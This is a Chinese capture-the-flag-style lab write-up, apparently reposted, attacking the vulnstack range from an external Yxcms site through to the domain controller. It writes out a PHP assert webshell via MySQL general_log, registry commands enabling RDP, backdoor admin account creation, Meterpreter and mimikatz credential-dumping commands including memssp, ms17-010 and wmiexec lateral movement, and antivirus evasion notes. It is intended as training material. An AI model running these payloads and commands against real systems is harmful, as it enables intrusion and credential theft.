从外网到域控(vulnstack靶机实战)

前言

vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

拓扑结构大体如下:

话不多说,直接开搞..

外网初探

打开页面后发现是一个Yxcms的站点,关于Yxcms的漏洞可以参考:https://www.freebuf.com/column/162886.html

然后找到后台,随手一个弱口令:admin、123456便进入了后台(实战中也有很多的站点是弱口令,只能说千里之堤溃于蚁穴)

关于Yx后台拿shell的方法还是很简单的,直接在新建模板哪里,将我们的一句话木马添加进去就ok了

比如这样

此时我们连接index.php即可获得shell

此时呢,我们先不往下进行,既然是靶机,我们就应该多去尝试一下发掘它其他的漏洞,蚁剑连接以后可以发现这是一个phpstudy搭建的网站,那么按照经验我们知道应该会有默认的phpmyadmin在,我们尝试访问:

发现猜测的没错,那么默认密码呢,root、root发现竟然也进去了,那么就来复习一下phpmyadmin后台getshell吧。phpmyadmin后台getshell一般有以下几种方式:

1、select into outfile直接写入
2、开启全局日志getshell
3、使用慢查询日志getsehll
4、使用错误日志getshell
5、利用phpmyadmin4.8.x本地文件包含漏洞getshell

我们先来看一下第一种,直接写shell

发现是不行的,而且该变量为只读,所以只能放弃。

再来看一下第二种,利用全局变量general_log去getshell

我们尝试更改日志状态、位置

set global
general_log=on;# 开启日志

set global
general_log_file=‘C:/phpstudy/www/yxcms/v01cano.php‘;# 设置日志位置为网站目录

发现已经成功更改

此时执行如下语句即可getshell

select ‘<?php assert($_POST["a"]);
?>

剩下的就不再去测试了,大家有兴趣的可以去自行尝试

拿到shell之后我们就该提权了

杀入内网

发现是一个administrator权限的shell,然后查看3389是否开启

发现3389并没有开启,我们使用以下命令开启它:

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t
REG_DWORD /d 00000000 /f

然后就发现3389已经成功的开启了

尝试添加用户:

C:\phpStudy\WWW\yxcms> net user test [email protected]! /add

命令成功完成。

C:\phpStudy\WWW\yxcms> net localgroup
administrators test
/add

命令成功完成。

可以发现已经成功添加一个用户上去

尝试远程桌面连接却失败了,nmap扫描3389端口发现状态为filtered

猜测应该是防火墙的问题,查看虚拟机发现猜测没错

此时思路一般如下:

1、反弹一个msf的shell回来,尝试关闭防火墙
2、尝试使用隧道连接3389

我们先来看一下第二种我们这里使用ngrok:

在ngrok中添加一条tcp隧道就ok然后了,然后我们就可以去连接目标的3389了

我们再来看一下第一种的操作,先反弹一个msf的shell回来

关闭防火墙:

meterpreter >  run post/windows/manage/enable_rdp

此时我们便可以直接连接目标主机了

下面我们就该去杀入域控了,杀入域之前我们先来做一些基础的信息收集,毕竟大佬说过渗透测试的本质是信息收集..

ipconfig /all   
查询本机IP段,所在域等

net config Workstation    当前计算机名,全名,用户名,系统版本,工作站域,登陆域

net user   
本机用户列表

net localhroup administrators    本机管理员[通常含有域用户]

net user /domain    查询域用户

net user 用户名 /domain    获取指定用户的账户信息

net user /domain b404 pass    修改域内用户密码,需要管理员权限

net group /domain    查询域里面的工作组

net group 组名 /domain    查询域中的某工作组

net group "domain
admins" /domain   
查询域管理员列表

net group "domain
controllers" /domain    查看域控制器(如果有多台)

net time /domain    判断主域,主域服务器都做时间服务器

ipconfig /all   
查询本机IP段,所在域等

经过一番信息收集,我们可以知道域控的地址为:192.168.52.138、域成员主机03地址:192.168.52.141

然后抓一下本地管理员的密码:

首先使用getsystem进行提权

我们此时已经获取了system权限(实战中可能需要其他更复杂的方式进行提权)

然后抓一下hash

发现失败了

然后我们用msf自带的模块进行hash抓取

meterpreter > run
post/windows/gather/smart_hashdump

发现已经获取了hash

但是这样获取的hash不是很全面,我们再使用mimitakz进行抓取

meterpreter > mimikatz_command -f
samdump::hashes

在本环境中我们是没有办法直接抓取明文的,当然也有办法绕过就是自己上传一个mimitakz使用debug进行明文抓取

我们先把mimitakz(实战中需要免杀处理)上传上去:

然后进行明文密码抓取

先进行权限提升

privilege::debug

然后使用

sekurlsa::logonPasswords

进行明文抓取

此时我们就已经获取到了administrator的明文密码

我们再对03进行渗透

内网漫游

先添加一条路由进来:

meterpreter > run autoroute -s 192.168.52.0/24

我们使用作者给出的漏洞列表进行尝试

然后使用08-067(https://www.freebuf.com/vuls/203881.html) 进行渗透,发现失败了..

对另外的漏洞也进行了测试
后来发现都还是失败了…额,后来查看发现是目标主机这些服务默认没有开启,需要手工开启…

算了直接使用ms17-010打一个shell回来,这里要注意一下,msf内置的17-010打2003有时候多次执行后msf就接收不到session,而且ms17-010利用时,脆弱的server 2003非常容易蓝屏。
本人也尝试了一下github上的windows 2003 –
windows 10全版本的msf 17-010脚本,但效果都是一般..这里也给出脚本名称,大家可以自己去找一下..(ms17_010_eternalblue_doublepulsar)

这里的话呢,先给大家说一下思路,首先机器为域内主机,不通外网我们不能直接使用17-010来打,可以先使用msf的socks功能做一个代理出来,这样我们便可以使用nmap等对其进行简单的信息判断

像这样(-PN、-sT必须加):

proxychains
nmap -p 3389 -Pn -sT 192.168.52.141

而且使用msf的代理之后就不能使用反向shell了,我们需要使用正向shell,然后我们可以先使用auxiliary/admin/smb/ms17_010_command来执行一些命令

然后这时候如果你的权限是system,你可以添加一个用户,然后使用exploit/windows/smb/ms17_010_psexec 尝试去打一个shell回来,因为这个模块需要你去指定一个管理员用户….但是我这里依然失败了,于是我便添加了一个用户上去,直接使用远程桌面连接上了2003的机器…

然后传了一个msf的正向shell,使用msf接收到了2003的shell

因为是2003的机器,直接getsystem便得到了system权限

然后用之前相同的方法便可以得到管理员的明文密码..

这里顺便说一下,除了上面的那种方法可以得到shell,也可以添加用户和使用regeorg+proxifier进入内网连接,然后用netsh中转得到session

至此2003的渗透基本就到此为止了,我们下面来怼域控!!!

其实在前面我们已经拿到了域用户的帐号密码,即administrator、hongrisec@2019我们现在要做的就是如何登录到域控上去

我们这里的话呢使用wmi进行操作

上传wmi到192.168.52.143(win7)这个机器上去,然后执行:

C:UsersAdministratorDesktop>cscript.exe
wmiexec.vbs /cmd 192.168.52.138 admin

istrator [email protected] "whoami"

得到回显

然后通过相同的方式下载一个msf的木马,反弹一个shell回来(正向)

得到shell

这里很好奇的是,为了增加难度,我在域控上加了一个安全狗上去,但是在我执行msf的shell的时候并没有提示任何异常操作..

算了,不管他..继续,提权域控,导出域hash
先查看有那些补丁没有打..

run
post/windows/gather/enum_patches

尝试了几个exp之后都失败了,于是寄出神器CVE-2018-8120

得到system权限,然后下面我们尝试去抓取域控上面的hash与明文密码..

我们这里使用直接上传mimikatz的方法进行抓取,这时候,终于安全狗报毒了…

我们换上免杀的mimikatz进行密码抓取

但这只是我们当前用户的密码,我们需要一个域管理的密码..
我们可以做如下操作:

mimikatz #
privilege::debug

Privilege ‘20‘ OK

mimikatz #
misc::memssp

Injected =)

mimikatz #
exit

此时我们只需要耐心等待域管理员登录就好了,我们模拟登录后再进行查看.

已经获得了域管理员的明文密码

写在后面

整个过程下来收获还是蛮大的,也意识到了自己的不足,当然我的这种方法可能不是最好的方法,而且作者也说了在域控上有redis漏洞等,文中都没有涉及,而且实战中肯定也会比这个复杂的多,本文也仅仅是给大家提供一个思路而已,如果文中有出错的地方还望指出,以免误人子弟。

原文地址:https://www.cnblogs.com/micromote/p/11847025.html

时间: 2024-12-24 17:20:48

从外网到域控(vulnstack靶机实战)的相关文章

内网渗透基础:内网、域、工作组、域控概念介绍

一.什么是内网 局域网(Local Area Network, LAN),又称内网,是指在某一区域内由多台计算机互联成的计算机组. 局域网可以实现文件管理.应用软件共享.打印机共享.扫描仪共享.工作组内的日程安排.电子邮件和传真通信服务等功能.局域网严格意义上是封闭型的.它可以由办公室内几台甚至上千台计算机组成.决定局域网的主要技术要素为:网络拓扑,传输介质与介质访问控制方法. 局域网标准定义了传输媒介.编码和介质访问等底层(一二层)功能.要使数据通过复杂的网络结构传输到达目的地,还需要具有寻址

Ajax 调用webservice 解决跨域请求和发布到服务器后本地调用成功外网失败的问题

    webservice 代码 1 /// <summary> 2 /// MESService 的摘要说明 3 /// </summary> 4 [WebService(Namespace = "http://tempuri.org/")] 5 [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] 6 //[System.ComponentModel.ToolboxItem(false)

一次渗透测试过程--从外网进内网(原创)

本文首发习科:地址http://bbs.blackbap.org/thread-7483-1-1.html 最近内网权限掉了, 需要重新找外网的入口进内网, 用凤凰扫描器生成字典扫了一下弱口令,人肉查看了c段上的一些web, 扫了扫端口,发现13这台机器上跑了一个wingsoft的软件, 在乌云上找到了一个漏洞, 用st2 -005 漏洞得到了可以远程执行命令的权限 0x02 进入边界服务器 执行 unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY

Windows server 2003域控直接迁移到2012[史上最详细]

Windows server 2003域控直接迁移到2012[史上最详细] 有问题请联系QQ:185426445,或者加群微软统一沟通中国(一),群号:222630797, 也可以和我本人联系,手机:18666943750,非诚勿扰,谢谢! 环境介绍: 首先说明我的环境,实验环境比较简单.环境中已经有Windows server 2003 的域控.域名为contoso.com 系统 服务 主机名称 IP地址 Windows Server 2003 R2 主AD,FSMO五角色主机及GC Win2

exchange 2010 server内网邮箱突然不能收发外网邮件的问题分析解决办法

环境是,域控+exchange2010server+edge边缘服务器的邮件系统. 故障现象:某个内网邮箱以前可以收发外网邮件,现在突然不能收发外网邮件了. 故障分析:分析最近对服务器做了那些操作. 解决办法:原来是自己更改了设置,没有留意这个内网邮箱用户加了多个通讯组,通讯组有交叉,对这些通讯组设置禁止收发邮件的规则,把这个邮箱也给禁止了,增加了允许这个邮箱的邮件传输规则,故障排除.

vcenter5.5搭建 并加入域控账户

准备的搭建vcenter 5.5的先要条件和准备软件 系统是server-2008 R2 Enterprise VMware-VIMSetup-all-5.5.0-1312299.iso cn_sql_server_2008_r2_enterprise_x86_x64_ia64_dvd_522233.iso 如果要加入域控 在另外准备一台AD服务器 接下来我们分步骤安装 先安装sql_server_2008: 1.  先安装 .net 3.5 直接点下一步安装完成就好了 2.  开始安装sql-

Windows Server 2012R2 AD域控 辅助域 只读域 子域

Windows Server 2012R2 域与活动目录介绍 2018年8月20日 14:11 域与活动目录 什么是域 域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(Trust Relation).信任关系是连接在域与域之间的桥梁.当一个域与其他域建立了信任关系后,两个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理. 为什么需要域 如果资源分布在N台服务器上,那么用户需要资源时就要分别登陆

Delphi 取外网IP

近日偶要做个程序,需要获得外网IP,偶去网上找相关资料,发现都不尽如人意,有的只能获得本地网卡的IP,有的通过httpget控件获取IP,还有甚者做个asp再调用偶是个懒人,而且上面提到的方法,不是获取不了就是速度太慢或者是太麻烦,无意中发现有个系统提供的API,利用它能够获取适配器信息,其中就包括外网IP,下面把代码给大家,重点处我做了注释. 注意: 程序必须运行在直接拨号联网的用户,不适用于内网用户.//常量定义ConstMAX_HOSTNAME_LEN               = 12

判断访问者是内网访问还是外网访问

//域登录  判断是内网还是外网请求 public function regip($ip){ $ip = ip2long($ip); $net_a = ip2long('10.255.255.255') >> 24; //A类网预留ip的网络地址 $net_b = ip2long('172.31.255.255') >> 20; //B类网预留ip的网络地址 $net_c = ip2long('192.168.255.255') >> 16; //C类网预留ip的网络地